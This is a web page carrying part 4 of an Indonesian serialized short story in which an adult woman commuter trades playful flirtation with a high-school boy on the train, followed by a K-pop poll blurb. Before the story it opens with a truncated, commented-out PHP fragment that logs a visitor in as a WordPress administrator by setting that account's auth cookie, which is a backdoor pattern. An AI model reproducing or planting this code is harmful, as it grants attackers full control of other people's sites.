user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Masa yang Hilang [4]

27 May 2012

<< cerita sebelumnya

“Pria seperti apa, sih, yang kamu sukai, Young? tanya Jona-than tiba-tiba. Tanpa sadar, ia memegang tanganku yang selalu tertutup blazer. Bukan karena genit, melainkan karena ia ingin menahan tubuhku agar tidak jatuh.

“Aku sendiri tidak tahu,” jawabku, sekenanya. Aku buru-buru menarik tanganku dari jangkauannya. Aku terbiasa untuk tidak berpegang pada apa pun dan siapa pun jika berdiri di dalam kereta. Namun, Jonathan melihat itu sebagai sebuah kesengajaan.

Jonathan benar-benar tak mengerti, mengapa aku tak tahu pria seperti apa yang kusukai. Baginya, itu adalah pertanyaan mudah dan aku seharusnya bisa menjawabnya dengan mudah pula. Entah bagaimana, aku harus menjelaskan bahwa pada satu titik tertentu, banyak orang telah melalui banyak waktu, seperti aku, dan orang-orang yang lebih tua daripada aku sudah tak menemukan kesenangan dari jenis pertanyaan seperti itu lagi. Pertanyaan sederhana itu menjadi sebuah untaian kata yang sangat sulit dijawab, sesuatu yang memerlukan perenungan yang panjang dan dalam. Jonathan tak akan mengerti hal itu. Maka, aku hanya diam dan tersenyum.

“Kenapa, sih, nggak mau pegangan? Nanti jatuh, lho. Atau, kamu nggak bisa mencapai besi pegangannya, ya?” tanyanya, dengan nada kesal, sambil tersenyum mencibir.

Dengan sombong ia memperlihatkan tangannya, yang mampu menjangkau besi penutup baling-baling kipas di atap kereta. Maksudnya, ia sedang menghina tinggi badanku yang bahkan tak sampai 150cm.

Meski kesal, aku tertawa. Tiba-tiba saja, kereta melaju lebih kencang, membuat tubuhku sedikit terempas ke belakang. Kali ini aku dan Jonathan tertawa karena aku jadi terlihat bodoh. Akhirnya, dengan segala keterpaksaan dan sedikit rasa senang, aku memegang erat tas ransel yang ia simpan di depan tubuhnya.

“Isinya apa, sih? Kayaknya, penuh sekali tasnya,” kataku, agak basa-basi. Ia hanya tersenyum, senang karena akhirnya aku mau memeganginya. Tapi, ia juga tersenyum kecut karena hanya tasnya saja yang kusentuh.

Ia buru-buru menjawab pertanyaan basa-basiku itu dengan membuka tasnya dan memperlihatkan seluruh isi tas. Hanya ada buku, tempat minum, dan saputangan. Aku sedikit melamun dan mengingat hal itu sebagai sesuatu yang sangat mirip dengan kebiasaanku dulu. Tas besar, banyak membawa buku, payung, tempat air minum, dan saputangan untuk menyeka keringat. Ah, pria bertubuh tinggi ini masih SMA. Seketika aku tersadar bahwa ini hanya kesenangan semu yang tak kuinginkan sama sekali.

Sudah lebih dari 5 hari aku berangkat kerja dan bertemu dengan Jonathan. Pria muda itu selalu datang mengejutkan, ketika aku sedang serius mendengarkan pengumuman jalur kereta. Setiap hari ia mengenakan jaket atau sweater. Hari ini ia mengenakan jaket warna cokelat muda. Makin terlihat tampan dan lebih dewasa.

“Pulang nanti, aku yang ke Kalibata atau Young yang ke Cawang?”

“Aku di Kalibata dan kamu tetap di Cawang,” jawabku, tenang.

“Yah, nanti kita sulit ketemu,” katanya.

“Apa kita mesti ketemu?” tanyaku, tanpa berniat serius padanya. Pura-pura bersikap tenang dan dingin.

“Kamu nggak mau ketemu aku?” tanyanya, sangat to the point.

“Harus ketemu, ya?” kali ini aku memperlihatkan wajahku.

“Ya, sudah, boleh minta nomor handphone?” tanya Jonathan.

Aku memberitahunya, sambil sedikit ingin tertawa akan sikapnya. Melihat wajahku, Jonathan ikut tersenyum, seolah lupa dengan jawaban yang tadi sempat membuat hatinya kecewa.

Advertisement
Beberapa wanita dewasa memandangi kami. Dari tatapan mereka, mereka mungkin berpikir bahwa kami adalah adik-kakak. Tapi, mereka juga tampak sedikit bingung melihat bahasa tubuh, yang tidak begitu memperlihatkan adanya pertalian darah atau persaudaraan di antara kami. Namun, apa pun yang mereka lihat, aku juga tahu arti pandangan beberapa wanita itu pada Jonathan. Mereka tersenyum dan menarik perhatian Jonathan.

Tak ada yang tahu, bahwa di balik jaket yang sengaja untuk menutupi kemeja putihnya, pria bongsor ini masih anak-anak. Ia tak ingin siapa pun dalam kereta mengetahui identitas sesungguhnya. Aku hanya geli menanggapi keadaan ini. Aku juga sering sengaja menyingkap jaket cokelat muda atau jaket hitam yang selalu ia kenakan, agar semua orang bisa melihat lambang OSIS di kemeja putih Jonathan. Tapi, Jonathan selalu berhasil menangkap dan menghindari keisenganku.

“Tuh, Mbak itu ngeliatin kamu terus,” bisikku pada Jonathan.

Kami berdua lalu tertawa tertahan. Geli sekali melihat sikap wanita-wanita itu pada Jonathan. Rasanya, sudah lebih dari 2 kali kami bertemu dengan para wanita itu dan mereka masih menunjukkan sikap yang sama. Sementara itu, beberapa mata penumpang yang lelah berdiri, memandang kami dengan tatapan sinis. Entah kenapa.

“Kalau mengantuk, bersandar di sini saja,” kata Jonathan, sambil menawarkan bahunya.

Jelas kutolak mentah-mentah keinginannya itu. Aku pasti sudah gila jika menikmati kesenangan macam itu.

Di sebuah stasiun, yang tidak bisa dikatakan sudah dekat dengan stasiun tujuanku, aku berdiri dan mempersilakan seorang ibu untuk duduk. Tapi, sialnya, ibu itu tidak berterima kasih sama sekali, malah bersungut-sungut melihat kenikmatan yang aku dan Jonathan rasakan selama perjalanan dari Stasiun Bogor. Aku sebenarnya tak mengharapkan ucapan terima kasih, tapi sekadar senyuman saja apa susahnya, sih?

Jonathan masih duduk dan kurang peka melihat kesulitan beberapa ibu dan orang dewasa yang berdiri berimpitan. Ia juga tak sadar dengan usia dan tubuh mudanya, yang seharusnya membuat ia merasa malu dan sungkan untuk tertidur selama perjalanan, tanpa berbasa-basi sedikit pun pada orang-orang disekelilingnya. Namun, ketika ia tersadar dari tidur beberapa menitnya, matanya mulai mencari-cari aku. Ia cukup terkejut melihatku telah berdiri di hadapannya. Lalu, ia ikut berdiri. Mungkin, merasa malu.

Bukan hanya saat itu. Akhirnya, beberapa kali ia berinisiatif bersikap sopan, layaknya seorang pria muda sejati. Bagus.

Lagi-lagi aku menceritakan secara detail kejadian-kejadian bersama Jonathan pagi itu kepada beberapa rekan kerjaku. Kali ini mereka tertawa geli, lalu menggelengkan kepala. Aku pun tertawa. Dalam tawa itu sebenarnya ada suatu rasa yang tersirat. Bukan rasa bangga karena ada seseorang menyukaiku, tapi rasa sedih, karena hanya seorang anak SMA, yang bisa melakukan hal-hal manis sepele padaku.

Aku juga merasa sedikit bahagia. Andai semua orang bisa memahaminya, andai semua orang tahu bahwa aku begitu menginginkan hadirnya seseorang yang bisa memanjakanku.

Tapi, sikap manja adalah kata yang sangat tidak cocok dan jauh dari gambaran akan diriku. Kalau ada 10 pria sebaya yang sudah mengenalku berdiri di depanku dan seluruhnya mendeskripsikan tentang aku, mereka pasti akan mengatakan bahwa aku cerdas, tegas, serius, pragmatis, dan dingin.

Tanpa bermaksud narsis sama sekali, aku memang selalu mendengar jawaban itu. Tak ada satu pun yang mengatakan bahwa aku ini wanita yang ceria atau manis, sensitif dan sentimentil. Jadi, sulit rasanya bagi mereka membayangkan bahwa aku bisa bermesraan atau luluh karena ucapan romantis seorang pria. Mungkin, karena itu banyak pria merasa segan dan takut padaku.

Otakku mengatakan bahwa hari ini, seperti biasa, aku akan pulang melalui Stasiun Kalibata. Namun, naluriku berkata lain. Hari Kamis sore itu aku bersusah-payah naik bis besar, berdiri berdesakan hanya untuk bisa sampai Stasiun Cawang.

Sudah jelas, aku tak mungkin bisa menjalin hubungan apa pun dengannya. Usia terpaut sangat jauh, keyakinan dan gaya hidup pun berbeda. Lihat saja, aku sudah paham benar, jenis manusia seperti apa Jonathan itu. Ia memang tidak terlalu peduli akan hubungannya dengan sang kekasih, yang terpaksa kandas, karena keegoisan wanita muda yang tidak juga mengerti, bahwa apa yang dilakukan Jonathan selama 4 bulan ini adalah demi sebuah kelulusan. Namun, sudah jelas, ia adalah tipe pria mapan yang selalu kukagumi, sekaligus kuhujat di semua tahap kehidupanku. Tapi, ya, dalam lubuk hatiku yang paling dalam, aku sangat penasaran terhadap jenis manusia macam itu.

Tapi, sudah susah-payah ke Cawang, aku tak menemukan Jonathan. Mungkin, ia pulang lebih awal. Tentu saja, aku kecewa. Aku berjalan dengan segenap rasa kesal. Entah mengapa, kali ini aku kesulitan membunuh perasaan kecewa, yang biasanya hinggap hanya karena aku menemukan satu saja kekurangan dalam diri pria yang kukagumi.




Penulis: Marisa Agustina


 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?